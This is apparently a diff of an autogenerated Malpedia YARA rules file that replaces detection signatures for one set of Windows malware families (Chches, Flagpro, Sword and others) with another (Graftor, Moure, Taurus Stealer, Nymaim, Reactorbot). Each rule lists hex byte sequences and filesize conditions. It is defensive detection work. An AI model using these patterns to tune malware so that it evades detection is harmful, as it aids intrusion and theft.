-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chches"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chches_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.graftor_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "90b994c4c0ea91e131f92144cfcd7cc30920c864cbd411a57992ff45077985cd"
+		logic_hash = "2d0bf0ad42127878b7c1f7be3bcb33cc3ba27a99993b023e29cc91abed5bec59"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132319,32 +139458,32 @@ rule MALPEDIA_Win_Chches_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b45f4 8b7dfc 50 8b8628020000 ffd0 8b45f8 85c0 }
-		$sequence_1 = { 85c0 7e0b 8b55f8 8b435c 6aff 52 }
-		$sequence_2 = { 8d5f18 85db 7477 8b16 8b4244 8b4018 }
-		$sequence_3 = { 8b16 8945fc 8b4244 3bc7 0f842b020000 8b00 8b7dfc }
-		$sequence_4 = { b810000000 e8???????? 83c420 8945f0 c745f400000000 85c0 0f8405010000 }
-		$sequence_5 = { 66890c78 47 ba2a000000 8d8d98fdffff 66891478 8b9680020000 51 }
-		$sequence_6 = { 8b4004 85c0 7475 3902 746d 8b4e64 50 }
-		$sequence_7 = { 81e980191001 03c1 50 68bfa2c2cd 687f90b056 68a71001fe 686021a031 }
-		$sequence_8 = { 895da0 85db 740f 8b87b8010000 8d5594 52 53 }
-		$sequence_9 = { c745f401000000 eb1c 50 6a08 ffd2 50 }
+		$sequence_0 = { 8d742434 c684245803000069 e8???????? 8b54241c 53 e8???????? 59 }
+		$sequence_1 = { 55 8bec 51 8365fc00 56 0528010000 }
+		$sequence_2 = { ff750c 8d7de0 ff7508 e8???????? 8b45e8 8945f0 8b45ec }
+		$sequence_3 = { 8d44247c 50 c684245c03000070 e8???????? 83c40c c684245003000071 8b4c241c }
+		$sequence_4 = { 6a00 eb8b 8b7d0c 8b0f 8b4514 394810 7641 }
+		$sequence_5 = { 55 8bec 83e4f8 6aff 687e634c00 64a100000000 }
+		$sequence_6 = { 8901 33c0 40 e9???????? 8365d800 c745dc34ad4800 a1???????? }
+		$sequence_7 = { ff75ec 8d45e0 53 50 8bc6 e8???????? 8b18 }
+		$sequence_8 = { eb05 a1???????? 8b4dfc 33cd e8???????? c9 c3 }
+		$sequence_9 = { 3bc3 0f8686010000 8b87d0000000 6a64 99 5e f7fe }
 
 	condition:
-		7 of them and filesize <122880
+		7 of them and filesize <294912
 }
-rule MALPEDIA_Win_Flagpro_Auto : FILE
+rule MALPEDIA_Win_Moure_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a8700192-f3cd-586a-895f-7ccfc513b903"
+		id = "d5ea53f7-d6a1-5284-9152-98034607f388"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flagpro"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flagpro_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moure"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.moure_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "21ab8654968f01505a5a06c6c338da8446a910a647e36c5322e4febf20ea2d89"
+		logic_hash = "e394b210e6ac1eaa6569608ddb349d4dd1ae50231f20d0924074c460f1fa6782"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132358,32 +139497,32 @@ rule MALPEDIA_Win_Flagpro_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8c2480000000 e8???????? 56 c784249c45010001000000 e8???????? }
-		$sequence_1 = { 57 6a00 6a00 6aff 68???????? }
-		$sequence_2 = { ffd0 c684249400000002 8b442430 3bc3 7408 8b08 8b5108 }
-		$sequence_3 = { 56 57 85c0 740b b900030000 8bf3 }
-		$sequence_4 = { 8b442428 3bc3 749d eb93 8b442428 8d54243c 895c243c }
-		$sequence_5 = { ba10000000 8d6e04 395618 7221 8b4500 eb1e }
-		$sequence_6 = { 39ac24c8000000 7210 8b9424b4000000 52 e8???????? 83c404 899c24c8000000 }
-		$sequence_7 = { 33ed 55 68???????? 8d842488030000 50 ff15???????? 8db4243c010000 }
-		$sequence_8 = { 8bf0 83c408 3bf3 7571 57 }
-		$sequence_9 = { 68???????? 8d8424880c0000 6800040000 50 }
+		$sequence_0 = { 3454 43 1558c950cb 0d487b0d4c 36a373801f1e }
+		$sequence_1 = { bf55602540 006b05 bc7d506700 0033 58 bf35b8bf55 58 }
+		$sequence_2 = { 8b35???????? 57 00d6 0075f0 894508 0075fc 00d6 }
+		$sequence_3 = { 51 51 8b0d???????? 56 33f6 85c9 7509 }
+		$sequence_4 = { 837dbc00 7436 0075bc 8d4ddc e8???????? a1???????? 3bc6 }
+		$sequence_5 = { 82a8a200b000c1 8b00 e100 9e d28bd3977e8d 98 }
+		$sequence_6 = { 68b0704000 007014 007010 e8???????? }
+		$sequence_7 = { 5e 53 43 c1c361 5b c9 51 }
+		$sequence_8 = { 8b01 83e03f 3c02 751c 8b4514 8b10 83e23f }
+		$sequence_9 = { 42 c3 874226 c58035b4fe70 5e }
 
 	condition:
-		7 of them and filesize <1411072
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Sword_Auto : FILE
+rule MALPEDIA_Win_Rarstar_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "48310a96-8b09-5184-8f0c-c81d31bbe550"
+		id = "1b0cea37-0a1d-5e66-91fc-944e4e50541c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sword"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sword_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rarstar_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "f0b3a1cc57dfaff82b285dd4a0f174f5006c9f22ab9c244578d6f7f68d086b5a"
+		logic_hash = "2e522865d24e8dea587d8aa292c78791c9371361cc03d604920c80f6d8c9bb83"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132397,32 +139536,32 @@ rule MALPEDIA_Win_Sword_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f7d1 2bf9 8d942484020000 8bf7 8bfa }
-		$sequence_1 = { ff15???????? 8b8c2434000100 50 8b84243c000100 8d542424 }
-		$sequence_2 = { 50 8d54241c 51 52 ff15???????? 85c0 0f8488090000 }
-		$sequence_3 = { 49 885c29ff 807d0022 7520 8d7d01 }
-		$sequence_4 = { 83c9ff 33c0 8d942488030000 f2ae f7d1 49 }
-		$sequence_5 = { 77c8 bf???????? 83c9ff 33c0 f2ae f7d1 }
-		$sequence_6 = { b940000000 33c0 8d7c2419 8894241c010000 f3ab }
-		$sequence_7 = { 83c9ff 33c0 f2ae f7d1 2bf9 55 }
-		$sequence_8 = { 8dbc2494060000 83c9ff 33c0 f2ae f7d1 49 }
-		$sequence_9 = { f7d1 49 83f903 77c8 bf???????? }
+		$sequence_0 = { 8a5e01 83e203 c1fb04 c1e204 }
+		$sequence_1 = { 33d2 b903000000 f7f1 83c408 8bc6 }
+		$sequence_2 = { 85ed 7e6f 8a143e 83c703 c1fa02 83e23f 41 }
+		$sequence_3 = { 0f84c1010000 8b2d???????? 8b4c2434 8b54241c 6a00 }
+		$sequence_4 = { 33db 8a940c24010000 8a5c0c24 03c2 03c3 25ff000080 }
+		$sequence_5 = { ffd6 8d84241c020000 68???????? 50 ffd6 8d8c2424040000 68???????? }
+		$sequence_6 = { 8d8c2420030000 51 52 ffd5 8d842418010000 68???????? }
+		$sequence_7 = { 899c242c030000 899c2428030000 899c2424030000 899c2420030000 bf???????? 83c9ff }
+		$sequence_8 = { f7d1 2bf9 899c2430030000 8bc1 8bf7 8bfa }
+		$sequence_9 = { 8a9405ecfdffff 8890a0d74000 eb1c f6c202 7410 8088????????20 8a9405ecfcffff }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <122880
 }
-rule MALPEDIA_Win_Ghole_Auto : FILE
+rule MALPEDIA_Win_Taurus_Stealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4005edf0-acd5-5930-97fb-055e6ab03b5d"
+		id = "1d04f49a-1251-5bc9-a2e1-54ed739ba752"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ghole_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taurus_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.taurus_stealer_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "a19f9cff11c120a5d0a63f0160508dc83f879d2586d9f0ffa0e72d02e6aa023f"
+		logic_hash = "5a56120ca5bf111c092d7e02323e7c3983f49990178f81f0fd9b64062b85cfef"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132436,32 +139575,32 @@ rule MALPEDIA_Win_Ghole_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 740d 8b55fc 48 8b45e8 89908c000000 48 8b55e0 }
-		$sequence_1 = { 3b45ec 7591 48 8b05???????? 48 8b00 8b15???????? }
-		$sequence_2 = { 89c7 e8???????? 85c0 0f85ac160000 8b850cfdffff 48 8d9518fdffff }
-		$sequence_3 = { 90 8b4dc8 8b55c4 48 8b5d98 48 8b4598 }
-		$sequence_4 = { 8910 48 8b45e8 48 83c018 48 8b55e8 }
-		$sequence_5 = { 85c0 7518 8b45e0 89c7 e8???????? 85c0 750a }
-		$sequence_6 = { 48 8b45e0 48 895010 48 8d55d4 48 }
-		$sequence_7 = { 894c2408 48 83ec78 c744242050000000 c744242403000000 48 8d0540feffff }
-		$sequence_8 = { 4c 8945c0 c745ec00000000 8b05???????? 85c0 750a b800000000 }
-		$sequence_9 = { 0f847d0f0000 48 8d95a0faffff 48 8d8520fdffff 48 89d6 }
+		$sequence_0 = { 56 8b7508 eb12 8d4e1c e8???????? 8bce e8???????? }
+		$sequence_1 = { 8d4de8 e8???????? 85f6 7408 8d4dd0 e8???????? 8b4508 }
+		$sequence_2 = { 88550f 88450e 8d450e 51 50 8d4d8c e8???????? }
+		$sequence_3 = { 51 50 8bce e8???????? 8d4dcc e8???????? 8d4db4 }
+		$sequence_4 = { 7305 8a5df3 ebf1 8d45f4 c645ff00 50 8bd6 }
+		$sequence_5 = { 8bc2 c1e802 c1e103 8b0483 d3e8 880432 42 }
+		$sequence_6 = { 8d4ddc e8???????? 8d4d90 e8???????? 8d4d84 e8???????? }
+		$sequence_7 = { c74610fe33b90f c7461465dc040b c74618e3804800 c7461cb5492c0d c7462045909c0f c74624dd90c504 c7462870e8f00e }
+		$sequence_8 = { 0f1145c1 885ddf 0fbe4581 250f000080 7905 48 83c8f0 }
+		$sequence_9 = { 40 83f806 7305 8a5df2 ebf1 8d45f3 c645f900 }
 
 	condition:
-		7 of them and filesize <622592
+		7 of them and filesize <524288
 }
-rule MALPEDIA_Win_Simda_Auto : FILE
+rule MALPEDIA_Win_Casper_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "be795d70-d5c5-5e96-885a-c6d393925d47"
+		id = "682d09f5-eba1-5466-8515-62dee225f20a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.simda"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.simda_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.casper"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.casper_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "3de0f7a52fa615dd54916d8a958f210fe06f4ad101457fb659a131786ec59f6f"
+		logic_hash = "901b4babc945e8ca2e1c5355e28b2f0271cc8d172828c522a735944d40fb2e3b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132475,32 +139614,32 @@ rule MALPEDIA_Win_Simda_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 c745fc04010000 a4 e8???????? }
-		$sequence_1 = { 3bce 8945f4 1bc0 40 57 895dfc }
-		$sequence_2 = { c7049f00000000 75f6 8b0f 894d08 }
-		$sequence_3 = { 760d 8b7d08 83c704 8d4eff 33c0 }
-		$sequence_4 = { c1e110 0b4df4 03d6 83ceff 2bca }
-		$sequence_5 = { 8b0d???????? 8945d4 a1???????? 8955dc 0fb615???????? }
-		$sequence_6 = { c1eb10 3bce 7601 4b c1ef10 }
-		$sequence_7 = { 83c408 85c0 74e4 6a0a 6a00 56 c60000 }
-		$sequence_8 = { 8bd1 c1ea10 8955ec 8bf8 }
-		$sequence_9 = { 41 eb08 83c102 eb03 83c103 }
+		$sequence_0 = { 47 57 50 6801000080 e8???????? 85c0 756f }
+		$sequence_1 = { e8???????? 8b7b34 85ff 7405 e8???????? }
+		$sequence_2 = { 885006 8b55fc c1ea18 885007 8bd3 c1ea08 885009 }
+		$sequence_3 = { 51 a1???????? 85c0 751a e8???????? 689c9678bf 68???????? }
+		$sequence_4 = { 837de803 752a 837df808 8b75f4 7514 85f6 742b }
+		$sequence_5 = { 8bbb48010000 8b8b68010000 33d2 8bc7 f7f1 85d2 7406 }
+		$sequence_6 = { 8bd8 8d4510 50 81ce19000200 }
+		$sequence_7 = { 85ff 7405 e8???????? 8bce e8???????? 5f 5e }
+		$sequence_8 = { 50 57 57 6800000008 53 57 57 }
+		$sequence_9 = { 7504 8bde eb03 83c305 68???????? 53 e8???????? }
 
 	condition:
-		7 of them and filesize <1581056
+		7 of them and filesize <434176
 }
-rule MALPEDIA_Win_8T_Dropper_Auto : FILE
+rule MALPEDIA_Win_Gemcutter_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "62f20b6c-23f8-52e5-8f38-7d977c3fc023"
+		id = "e94125d6-f7ee-5626-bb13-57f31cd4995b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.8t_dropper"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.8t_dropper_auto.yar#L1-L115"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gemcutter"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gemcutter_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "f24ad3d6bfd5a20c8c809ac43affb0600d938cb9b1cb9cd8c47771e603e82a25"
+		logic_hash = "cdd9767cb466abee0d56200d0aa911cbda817b83008ef2825b381668a5ec2a45"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132514,32 +139653,32 @@ rule MALPEDIA_Win_8T_Dropper_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 741b 56 6800700000 6a01 68???????? }
-		$sequence_1 = { ff74240c e8???????? 83c40c c3 8b442408 83f801 }
-		$sequence_2 = { c6440c0e6e 8d4c2408 51 683f000f00 50 }
-		$sequence_3 = { 68???????? 50 ff15???????? 85c0 7559 8b4c2408 51 }
-		$sequence_4 = { 50 ff15???????? 85c0 7559 8b4c2408 }
-		$sequence_5 = { 49 c6440c0c52 c6440c0d75 c6440c0e6e }
-		$sequence_6 = { 68???????? 6a02 50 8b442418 }
-		$sequence_7 = { 7559 8b4c2408 51 ff15???????? }
-		$sequence_8 = { 6800700000 6a01 68???????? e8???????? 56 e8???????? }
-		$sequence_9 = { ff15???????? 8d942410010000 6804010000 52 68???????? }
+		$sequence_0 = { ff75fc ff15???????? eb09 ff75fc ff15???????? 3975fc }
+		$sequence_1 = { 8d8500fcffff 50 e8???????? 59 56 ff15???????? }
+		$sequence_2 = { 56 ffd7 53 56 56 56 }
+		$sequence_3 = { 59 53 50 ffd6 0fbe85f0f8ffff 50 }
+		$sequence_4 = { 6a01 ff15???????? 6a01 68???????? e8???????? 6a01 }
+		$sequence_5 = { 50 ff15???????? 83c420 8818 8d85f0fdffff 50 8d85f0f8ffff }
+		$sequence_6 = { 8d85f0fdffff 50 ffd7 8d85f0f8ffff 6800040000 50 }
+		$sequence_7 = { 8d45ac 56 50 e8???????? 83c40c 8d45f0 c745d801000000 }
+		$sequence_8 = { ff15???????? 85c0 0f84df000000 8d85f0f8ffff 68???????? 50 e8???????? }
+		$sequence_9 = { c3 55 8bec 81ec00040000 56 57 68???????? }
 
 	condition:
-		7 of them and filesize <147456
+		7 of them and filesize <40960
 }
-rule MALPEDIA_Win_Hlux_Auto : FILE
+rule MALPEDIA_Win_Smarteyes_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0554b2ef-0799-5994-8001-d3a987727985"
+		id = "60f92ddb-7402-5d47-97fc-69a2fdffb7f3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hlux"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hlux_auto.yar#L1-L158"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smarteyes"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.smarteyes_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "53ff7358e541a46f4d140f6dc71959f0fd15f8b04731bebe36051fa435d4979d"
+		logic_hash = "8c2da2c0cae87308c8e6e0dfb55ae530bef3c36e3693a233b1d96edfb1425c3c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132553,40 +139692,34 @@ rule MALPEDIA_Win_Hlux_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 81f949e2a499 750b 83f90e 7406 }
-		$sequence_1 = { 0101 c9 c3 6a10 }
-		$sequence_2 = { 0009 1b4e01 e405 9d }
-		$sequence_3 = { 0088aa4b0023 d18a0688078a 46 018847018a46 }
-		$sequence_4 = { 0130 8b13 8b08 85d2 }
-		$sequence_5 = { b8e3062de4 09c0 7506 898550ffffff 8b8550ffffff ba205af5bb }
-		$sequence_6 = { 7545 8945fc 8b45f0 895de8 81f97a701028 7534 }
-		$sequence_7 = { 0104b9 33c9 83c408 85c0 }
-		$sequence_8 = { 010f 840f 0000 008365f0fe8b }
-		$sequence_9 = { 8b0d???????? 85c9 753f 83f963 753a 8945fc 83f93f }
-		$sequence_10 = { 0104bb 8d1447 89542418 e9???????? }
-		$sequence_11 = { 895de8 33f6 8955cc 83fe13 7503 8975fc 5e }
-		$sequence_12 = { 0000 008365f0fe8b 4d 0883c108e918 }
-		$sequence_13 = { 8945e0 83f9f3 7507 09c9 7403 }
-		$sequence_14 = { 81fb2e5ca766 7503 895de8 8945d4 }
-		$sequence_15 = { 83fbd5 7413 33c0 83f827 7403 }
+		$sequence_0 = { 51 8d85d4fdffff 50 e8???????? 8d85d4fdffff 889c35d4fdffff 83c40c }
+		$sequence_1 = { 68???????? e9???????? 53 68???????? e8???????? 33c0 40 }
+		$sequence_2 = { 3bc3 0f8426030000 8d842488040000 50 6804010000 ff15???????? 85c0 }
+		$sequence_3 = { 7478 83c00c 8bc8 8d7901 8a11 41 84d2 }
+		$sequence_4 = { 7413 8d85ecfeffff 57 50 }
+		$sequence_5 = { ff742424 ff742420 ff15???????? 85c0 7547 }
+		$sequence_6 = { e8???????? 59 59 8d8548f5ffff 50 8d9d78f7ffff e8???????? }
+		$sequence_7 = { 7514 8bf9 c744241001000000 e8???????? e9???????? 68???????? 8d442424 }
+		$sequence_8 = { 8d45ff 50 e8???????? 8a4736 8845ff 53 8d45ff }
+		$sequence_9 = { 8bd6 0fb7c0 6683f82f 7406 6683f85c 7502 8bca }
 
 	condition:
-		7 of them and filesize <3147776
+		7 of them and filesize <429056
 }
-rule MALPEDIA_Win_Darkme_Auto : FILE
+rule MALPEDIA_Win_Nymaim_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "08b1ecd8-4245-5b36-9b97-82dc7b781460"
+		id = "6fe09b40-4e7e-5960-9e2c-823057d831db"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkme"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkme_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nymaim_auto.yar#L1-L281"
 		license_url = "N/A"
-		logic_hash = "8ec0d0c962cec5e0ecd8c6f133e096757eb87617c4861f80c1b1cf3c91f3cada"
+		logic_hash = "0c0c73586cb65f92c931bae46a77127eb659bbbab03ac07a837f2712a17a227b"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -132598,32 +139731,51 @@ rule MALPEDIA_Win_Darkme_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8dbddcfcffff f3ab b964000000 8dbd18fbffff 68???????? 8985d8fcffff 8985d4fcffff }
-		$sequence_1 = { 51 8d55d4 52 6a02 ff15???????? 83c40c 8d45c4 }
-		$sequence_2 = { 8b8518ffffff 8b08 8b9518ffffff 52 ff5114 dbe2 }
-		$sequence_3 = { 6a00 ff15???????? 50 8b558c 81c2???????? 52 ff15???????? }
-		$sequence_4 = { c745880a000000 8b8530ffffff 50 ff15???????? 8945a0 c7459808000000 8b4dd4 }
-		$sequence_5 = { 8b8500ffffff 50 8b8dfcfeffff 51 ff15???????? 898594feffff eb0a }
-		$sequence_6 = { 05???????? 898588feffff eb12 8b8db4feffff 81c1???????? 898d88feffff 8b9588feffff }
-		$sequence_7 = { 83c42c 51 68???????? ff15???????? 85c0 0f851afeffff }
-		$sequence_8 = { 8b5144 52 8d8524ffffff 50 8d8d54ffffff 51 ff15???????? }
-		$sequence_9 = { 8b08 8b95fcfeffff 52 ff5120 }
+		$sequence_0 = { 89d8 01c8 31d2 f7f7 }
+		$sequence_1 = { 0f94c1 09c8 6bc064 09c0 }
+		$sequence_2 = { 31d2 f7f7 92 31d2 }
+		$sequence_3 = { 92 31d2 bf64000000 f7f7 }
+		$sequence_4 = { c1e105 01c8 c1c307 30c3 }
+		$sequence_5 = { 31c9 38f0 83d100 38d0 83d900 c1e105 }
+		$sequence_6 = { c1eb13 331d???????? 31c3 c1e808 }
+		$sequence_7 = { 00d3 8a16 301e 46 01fb }
+		$sequence_8 = { 8b12 8b4d0c 8b5d18 8b1b 4f 31c0 fec2 }
+		$sequence_9 = { 8b4e08 014e04 8b5e0c 015e08 }
+		$sequence_10 = { c1e808 31c3 895e0c 89d8 }
+		$sequence_11 = { f7e0 0fc8 01d0 894704 }
+		$sequence_12 = { 8b06 c1e00b 3306 8b5604 0116 8b4e08 014e04 }
+		$sequence_13 = { 53 56 57 83ec44 8b4508 8d0d2030d201 }
+		$sequence_14 = { 4409df 4531d0 813d????????7147ed3a 0f84c06efdff 4421da 4431c7 c1c703 }
+		$sequence_15 = { 0f84e0bffcff 443b642460 72b4 85ff 7439 837c246000 7628 }
+		$sequence_16 = { 4531c9 488d442440 813d????????00e8e23a 0f84c1f7feff 31d2 48b9????????00000000 488903 }
+		$sequence_17 = { 448915???????? 8b4548 89442448 488b8588000000 4889442440 488b8580000000 4889442438 }
+		$sequence_18 = { 56 83ec28 8b450c 8b4d08 8d154e30d201 }
+		$sequence_19 = { 55 89e5 83ec10 8b4508 8d0d3430d201 }
+		$sequence_20 = { 83ec44 8b4508 8d0d2030d201 31d2 890c24 c744240400000000 }
+		$sequence_21 = { 0f9e05???????? 4c89fa e8???????? 488d542440 488d8da0000000 890d???????? 8805???????? }
+		$sequence_22 = { 4439a19c000000 0f8456bffcff 4439a194000000 48c705????????b2228979 0f8545bffcff 8b7108 458d6c2401 }
+		$sequence_23 = { 31ed e8???????? 0fb7542430 488d4c2420 0fb7442432 4189d8 c1e209 }
+		$sequence_24 = { 5b 5d c3 8b45f0 8b0c850440d201 }
+		$sequence_25 = { 890424 894c2404 e8???????? 8d0d3430d201 }
+		$sequence_26 = { 31c9 8b55f4 8b75ec 89723c c7424003000000 }
+		$sequence_27 = { 4529d8 4489da 4801ca e8???????? 66813d????????a8c1 0f848bbe0000 44295b68 }
+		$sequence_28 = { 31d2 890c24 c744240400000000 8945f4 8955f0 e8???????? 8d0d8630d201 }
 
 	condition:
-		7 of them and filesize <1515520
+		7 of them and filesize <2375680
 }
-rule MALPEDIA_Win_Hazy_Load_Auto : FILE
+rule MALPEDIA_Win_Reactorbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f9ce3341-35f2-576a-ac44-5d1a215a7e85"
+		id = "db667bb6-5a2a-5433-bb3f-44b94a1b8ccd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hazy_load"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hazy_load_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.reactorbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.reactorbot_auto.yar#L1-L159"
 		license_url = "N/A"
-		logic_hash = "2293495fdcc042b4bc9589ccdd3e32857e18de0ce6c242812538dc1d663eb294"
+		logic_hash = "a8dd74cde779dbd1edde8ec6ea240ea579363dd37eac297b9622688e884b36e8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -132637,32 +139789,38 @@ rule MALPEDIA_Win_Hazy_Load_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b904000000 4c8d05f5c50000 488d15aeb20000 e8???????? 488bf8 4885c0 740f }
-		$sequence_1 = { 48897c2408 488b15???????? 488d3dd16d0100 8bc2 b940000000 83e03f 2bc8 }
-		$sequence_2 = { 488d0db8200100 4183e23f 4903e8 832700 498bf0 }
-		$sequence_3 = { 488bf1 41bc02000000 4489742420 418bcc 448d4205 ff15???????? }
-		$sequence_4 = { 4b87bcf750140200 33c0 488b5c2450 488b6c2458 488b742460 }
-		$sequence_5 = { 483b0d???????? 7417 488d0570630100 483bc8 740b 83791000 7505 }
-		$sequence_6 = { 4883675000 488d05ade0ffff 83675800 488d4f28 }
-		$sequence_7 = { 488d15a96a0100 83e13f 488bc5 48c1f806 48c1e106 }
-		$sequence_8 = { 442bc3 4803d0 4533c9 488bce ff15???????? 85c0 0f8eacfeffff }
-		$sequence_9 = { 488d0dc0210100 4183e23f 4903e8 832300 }
+		$sequence_0 = { 50 ff15???????? 8d8d90fdffff 51 8d9580f9ffff }
+		$sequence_1 = { c745f400000000 c745e800000000 c745e400000000 a1???????? 8945e0 }
+		$sequence_2 = { 7418 6aff a1???????? 50 ff15???????? }
+		$sequence_3 = { 837dfcff 7411 8b4dfc 51 ff15???????? }
+		$sequence_4 = { 8b4d08 51 ff15???????? 83c404 8945f0 }
+		$sequence_5 = { 8b4508 50 6804010000 8d8d78f7ffff 51 e8???????? }
+		$sequence_6 = { ff15???????? 8945fc 837dfc00 7479 837dfcff }
+		$sequence_7 = { 7420 8b0d???????? 51 8b15???????? 52 }
+		$sequence_8 = { 83c005 99 b905000000 f7f9 }
+		$sequence_9 = { 6bc005 83e803 99 b999000000 }
+		$sequence_10 = { 69c0b13a0200 99 83e203 03c2 }
+		$sequence_11 = { e8???????? 833d????????00 7509 833d????????00 740b }
+		$sequence_12 = { eb0c c705????????b80b0000 eb0a c705????????e8030000 }
+		$sequence_13 = { 83e101 f7d9 81e12083b8ed 33c1 }
+		$sequence_14 = { 483d00080000 7323 4863442450 488b4c2468 0fb609 888c04e0030000 }
